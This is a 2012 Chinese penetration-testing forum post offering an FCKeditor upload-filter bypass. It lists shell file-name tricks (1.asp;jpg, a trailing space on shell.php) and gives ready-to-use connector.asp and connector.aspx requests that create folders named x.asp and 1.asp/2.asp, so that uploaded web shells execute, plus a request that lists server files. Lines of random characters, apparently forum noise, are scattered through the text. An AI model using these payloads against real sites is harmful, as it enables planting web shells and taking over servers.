中国网络渗透测试联盟
标题:
FCK 0day FCKeditor 建立文件夹,上传文件时"."变"_"的突破
[打印本页]
作者:
admin
时间:
2012-12-31 09:27
标题:
FCK 0day FCKeditor 建立文件夹,上传文件时"."变"_"的突破
很多时候上传的文件例如：shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化，试试上传 1.asp;jpg
' p J% q# s3 S5 U
& ~7 G/ I! W9 {' r2 k
提交 shell.php+空格 绕过，不过空格只支持 win 系统 *nix 是不支持的，shell.php 和 shell.php+空格 是 2 个不同的文件，未测试。
2 u. i- U4 G; D0 C& X2 g' `; c
3 _* }$ q: `5 g& d$ V
继续上传同名文件可变为 shell.php;(1).jpg，也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
8 F' [$ B+ t" a+ l6 J% e8 K
# s3 s, `3 L5 F- s D
突破建立文件夹：
3 x% X" I6 O& X' x8 J; Z
' t' T9 v% d. F( e; {9 Z
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
. N) C4 ^6 L. p9 v5 k: k* p# _
: L/ [1 I0 k G6 h
参数：
1 S, }9 H4 l4 K! s5 w
7 l r5 p7 @( I/ z6 h& O/ l
当前目录名：CurrentFolder=/qing.asp
: F1 c% L8 o% n( Q+ e P, O
% }. G4 [8 t! Y9 Q6 o$ k0 Z# Z
新的目录名：NewFolderName=x.asp
# `9 V/ a2 d* o7 k5 M! Z
0 h9 v+ n5 k: {0 Z* ?
其实很简单，在目录那里写 x.asp，然后点击新建目录在弹出来的对话框中随便写……
( k# [6 ~. u) [
; h3 U% _7 [. K% G1 @0 \! g8 I- e
那么 x.asp 就已经建立生成了，此方法百试百灵！
; t, G$ s/ [( X
9 U. O7 I* F+ H
新建文件夹参数 x.asp，基本都能搞定。
) R( {+ f3 n$ }+ ?! V
! x% E6 ^3 D) F K& R
下面这句话是要在1.asp下建立2.asp，当不存在1.asp时会先创建，只过滤了目标目录的创建 而没有过滤不存在目录的创建
8 |2 c7 e/ T9 ~7 U" u9 N
) |/ r9 Q# _9 x/ ]
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp
' o8 M2 \ R6 Q
0 e, N5 m! R6 Y |" s; h3 V
获取文件列表
S) S6 F# }! B
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
# K0 P. E. d& u- c! W& g# B
; e* V* A& Q) X! ^# F
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2